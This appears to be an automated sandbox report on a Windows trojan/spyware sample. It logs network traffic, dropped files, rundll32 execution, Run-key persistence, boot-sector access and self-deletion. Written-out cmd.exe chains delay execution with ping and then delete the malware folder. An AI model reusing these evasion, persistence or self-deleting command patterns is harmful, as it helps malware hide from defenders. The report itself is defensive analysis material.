Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65319
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64509
Source: unknown	Network traffic detected: HTTP traffic on port 58770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55360
Source: unknown	Network traffic detected: HTTP traffic on port 57674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64188
Source: unknown	Network traffic detected: HTTP traffic on port 64288 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55401 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64509 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54534 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50172 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65319 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50474
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54674
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55401
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57674
Source: unknown	Network traffic detected: HTTP traffic on port 55360 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 62469 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62214
Source: unknown	Network traffic detected: HTTP traffic on port 50660 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60253 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50555 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 50784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58183 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64188 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62469
Source: unknown	Network traffic detected: HTTP traffic on port 58497 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58376
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58497
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58770
Source: unknown	Network traffic detected: HTTP traffic on port 51144 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63675
Source: unknown	Network traffic detected: HTTP traffic on port 51928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51381 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50417
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50936
Source: unknown	Network traffic detected: HTTP traffic on port 60244 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51516
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50429
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50825
Source: unknown	Network traffic detected: HTTP traffic on port 58376 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50660
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50784
Source: unknown	Network traffic detected: HTTP traffic on port 50226 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51633
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63507 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 60766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51633 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54516
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 50936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50555
Source: unknown	Network traffic detected: HTTP traffic on port 51858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61721
Source: unknown	Network traffic detected: HTTP traffic on port 55758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50429 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63507
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50283
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52868
Source: unknown	Network traffic detected: HTTP traffic on port 53886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50561
Source: unknown	Network traffic detected: HTTP traffic on port 62214 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60244
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50172
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51381
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64288
Source: unknown	Network traffic detected: HTTP traffic on port 50474 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60766

Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.9:49834 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.9:49927 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.9:50474 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.9:65319 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.9:51928 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.9:55360 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.9:57674 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.9:64288 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.9:50429 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.9:53886 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.9:58183 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.9:63507 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.9:50555 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.9:54516 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.9:57011 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.9:60253 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.9:64188 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.9:54066 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.9:58376 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.9:62469 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.9:49958 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.9:52868 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.9:59714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.9:63675 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.9:50825 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.9:54534 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.9:58497 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.9:62214 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.9:64509 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.9:51516 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.9:55401 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.9:58770 version: TLS 1.2

System Summary

PE file has a writeable .text section

Source: rjqzr.dll.5.dr

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Windows\SysWOW64\rundll32.exe

Process Stats: CPU usage > 49%

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 6_2_1000C160: wsprintfA,DeviceIoControl,

6_2_1000C160

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 6_2_100049F0 ExitWindowsEx,

6_2_100049F0

Source: C:\Users\user\Desktop\XgijTrY6No.exe	Code function: 0_2_00414D00	0_2_00414D00
Source: C:\Users\user\AppData\Local\Temp\mszcy.exe	Code function: 5_2_00414D00	5_2_00414D00
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_10005A10	6_2_10005A10
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_1000EB80	6_2_1000EB80
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_1000DB90	6_2_1000DB90
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_10010400	6_2_10010400
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_1000F500	6_2_1000F500
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_10009690	6_2_10009690
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_1000EF70	6_2_1000EF70

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 10001000 appears 293 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 10011A66 appears 47 times

Source: XgijTrY6No.exe	Binary or memory string: OriginalFilename vs XgijTrY6No.exe
Source: XgijTrY6No.exe, 00000000.00000000.1340687159.0000000000414000.00000080.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameDSignTool4 vs XgijTrY6No.exe
Source: XgijTrY6No.exe, 00000000.00000003.1343399810.0000000002128000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameDSignTool4 vs XgijTrY6No.exe
Source: XgijTrY6No.exe	Binary or memory string: OriginalFilenameDSignTool4 vs XgijTrY6No.exe

Source: XgijTrY6No.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED

Source: rjqzr.dll.5.dr

Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: rjqzr.dll.5.dr

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@22/3@51/3

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 6_2_1000C230 sprintf,CreateFileA,DeviceIoControl,GetLastError,FormatMessageA,CloseHandle,wsprintfA,

6_2_1000C230

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_10004F60 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,	6_2_10004F60
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_100060E0 strrchr,strncpy,strncpy,strncpy,GetSystemInfo,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,sscanf,	6_2_100060E0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_10004B90 AdjustTokenPrivileges,	6_2_10004B90

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 6_2_10004AA0 CreateToolhelp32Snapshot,

6_2_10004AA0

Source: C:\Users\user\Desktop\XgijTrY6No.exe

Code function: 0_2_00401A2A FindResourceA,LoadResource,

0_2_00401A2A

Source: C:\Windows\SysWOW64\rundll32.exe	Mutant created: \Sessions\1\BaseNamedObjects\krnaver.com:6520
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8028:120:WilError_03
Source: C:\Windows\SysWOW64\rundll32.exe	Mutant created: \Sessions\1\BaseNamedObjects\0x5d65r455f
Source: C:\Windows\SysWOW64\rundll32.exe	Mutant created: \Sessions\1\BaseNamedObjects\Mkrnaver.com:6520
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7436:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:592:120:WilError_03

Source: C:\Users\user\Desktop\XgijTrY6No.exe

File created: C:\Users\user\AppData\Local\Temp\mszcy.exe

Jump to behavior

Source: C:\Users\user\Desktop\XgijTrY6No.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\mszcy.exe

Process created: C:\Windows\SysWOW64\rundll32.exe c:\windows\system32\rundll32.exe "c:\ftelcs\rjqzr.dll",QueryPluginInterface C:\Users\user\AppData\Local\Temp\mszcy.exe

Source: XgijTrY6No.exe

ReversingLabs: Detection: 89%

Source: C:\Users\user\Desktop\XgijTrY6No.exe

File read: C:\Users\user\Desktop\XgijTrY6No.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\XgijTrY6No.exe "C:\Users\user\Desktop\XgijTrY6No.exe"
Source: C:\Users\user\Desktop\XgijTrY6No.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c ping 127.0.0.1 -n 2&C:\Users\user\AppData\Local\Temp\\mszcy.exe "C:\Users\user\Desktop\XgijTrY6No.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\mszcy.exe C:\Users\user\AppData\Local\Temp\\mszcy.exe "C:\Users\user\Desktop\XgijTrY6No.exe"
Source: C:\Users\user\AppData\Local\Temp\mszcy.exe	Process created: C:\Windows\SysWOW64\rundll32.exe c:\windows\system32\rundll32.exe "c:\ftelcs\rjqzr.dll",QueryPluginInterface C:\Users\user\AppData\Local\Temp\mszcy.exe
Source: unknown	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\windows\SysWOW64\rundll32.exe" "c:\ftelcs\rjqzr.dll",QueryPluginInterface
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c ping 127.0.0.1 -n 3&rd /s /q "c:\ftelcs"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3
Source: unknown	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\windows\SysWOW64\rundll32.exe" "c:\ftelcs\rjqzr.dll",QueryPluginInterface
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c ping 127.0.0.1 -n 3&rd /s /q "c:\ftelcs"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3
Source: C:\Users\user\Desktop\XgijTrY6No.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c ping 127.0.0.1 -n 2&C:\Users\user\AppData\Local\Temp\\mszcy.exe "C:\Users\user\Desktop\XgijTrY6No.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\mszcy.exe C:\Users\user\AppData\Local\Temp\\mszcy.exe "C:\Users\user\Desktop\XgijTrY6No.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\mszcy.exe	Process created: C:\Windows\SysWOW64\rundll32.exe c:\windows\system32\rundll32.exe "c:\ftelcs\rjqzr.dll",QueryPluginInterface C:\Users\user\AppData\Local\Temp\mszcy.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c ping 127.0.0.1 -n 3&rd /s /q "c:\ftelcs"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c ping 127.0.0.1 -n 3&rd /s /q "c:\ftelcs"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3

Source: C:\Users\user\Desktop\XgijTrY6No.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\XgijTrY6No.exe	Section loaded: mfc42.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\mszcy.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\mszcy.exe	Section loaded: mfc42.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: mswsock.dll	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source:	Binary string: \??\c:\Documents and Settings\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\..** source: rundll32.exe, 00000006.00000003.3597257344.0000000000D03000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: rod.pdb\.* source: rundll32.exe, 00000006.00000003.1813794875.0000000000D3D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1813762319.0000000000D34000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\c:\Documents and Settings\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\.* source: rundll32.exe, 00000006.00000003.2262348463.0000000000D0C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\Documents and Settings\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\. source: rundll32.exe, 00000006.00000002.3803023615.0000000000D0C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\c:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\.*e source: rundll32.exe, 00000006.00000003.1572496969.0000000000D47000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1572330291.0000000000D46000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\Documents and Settings\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\. source: rundll32.exe, 00000006.00000003.2262330522.0000000000D42000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\c:\Documents and Settings\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\. source: rundll32.exe, 00000006.00000003.3597257344.0000000000D0C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\..** source: rundll32.exe, 00000006.00000003.3031707203.0000000005B50000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 6_2_100051B0 LoadLibraryA,GetProcAddress,GetExtendedUdpTable,malloc,GetExtendedUdpTable,Sleep,htons,free,FreeLibrary,

6_2_100051B0

Source: initial sample

Static PE information: section where entry point is pointing to: GDR

Source: rjqzr.dll.5.dr	Static PE information: real checksum: 0x10fa9 should be: 0xeaf9
Source: XgijTrY6No.exe	Static PE information: real checksum: 0x0 should be: 0x25335
Source: mszcy.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x1595f

Source: XgijTrY6No.exe	Static PE information: section name: .CG
Source: XgijTrY6No.exe	Static PE information: section name: .adata
Source: mszcy.exe.0.dr	Static PE information: section name: .CG
Source: mszcy.exe.0.dr	Static PE information: section name: .adata
Source: rjqzr.dll.5.dr	Static PE information: section name: GDR

Source: C:\Users\user\Desktop\XgijTrY6No.exe	Code function: 0_2_0041400A push ebp; ret	0_2_0041400D
Source: C:\Users\user\Desktop\XgijTrY6No.exe	Code function: 0_2_00414014 push 00000000h; ret	0_2_00414425
Source: C:\Users\user\Desktop\XgijTrY6No.exe	Code function: 0_2_00402EE0 push eax; ret	0_2_00402F0E
Source: C:\Users\user\AppData\Local\Temp\mszcy.exe	Code function: 5_2_0041400A push ebp; ret	5_2_0041400D
Source: C:\Users\user\AppData\Local\Temp\mszcy.exe	Code function: 5_2_00414014 push 00000000h; ret	5_2_00414425
Source: C:\Users\user\AppData\Local\Temp\mszcy.exe	Code function: 5_2_00402EE0 push eax; ret	5_2_00402F0E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_10010F90 push eax; ret	6_2_10010FBE

Source: rjqzr.dll.5.dr	Static PE information: section name: .text entropy: 7.9944271829324975
Source: rjqzr.dll.5.dr	Static PE information: section name: .rsrc entropy: 7.3301358156247804

Persistence and Installation Behavior

Contains functionality to infect the boot sector

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: sprintf,CreateFileA,DeviceIoControl,GetLastError,FormatMessageA,CloseHandle,wsprintfA, \\.\PHYSICALDRIVE%d

6_2_1000C230

Source: C:\Users\user\AppData\Local\Temp\mszcy.exe	File created: C:\ftelcs\rjqzr.dll			Jump to dropped file
Source: C:\Users\user\Desktop\XgijTrY6No.exe	File created: C:\Users\user\AppData\Local\Temp\mszcy.exe			Jump to dropped file

Source: C:\Windows\SysWOW64\rundll32.exe

File created: c:\ftelcs\ReadMe.txt

Jump to behavior

Boot Survival

Contains functionality to infect the boot sector

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: sprintf,CreateFileA,DeviceIoControl,GetLastError,FormatMessageA,CloseHandle,wsprintfA, \\.\PHYSICALDRIVE%d

6_2_1000C230

Creates an autostart registry key pointing to binary in C:\Windows

Source: C:\Windows\SysWOW64\rundll32.exe

Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run EvtMgr

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run EvtMgr			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run EvtMgr			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Deletes itself after installation

Source: C:\Users\user\AppData\Local\Temp\mszcy.exe

File deleted: c:\users\user\desktop\xgijtry6no.exe

Jump to behavior

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50100 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50127 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50130 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50150 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50152 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50177 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50180 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50200 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50204 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50233 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50236 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50255 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50257 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50289 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50292 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50317 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50319 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50354 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50356 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50382 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50385 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50414 -> 12354
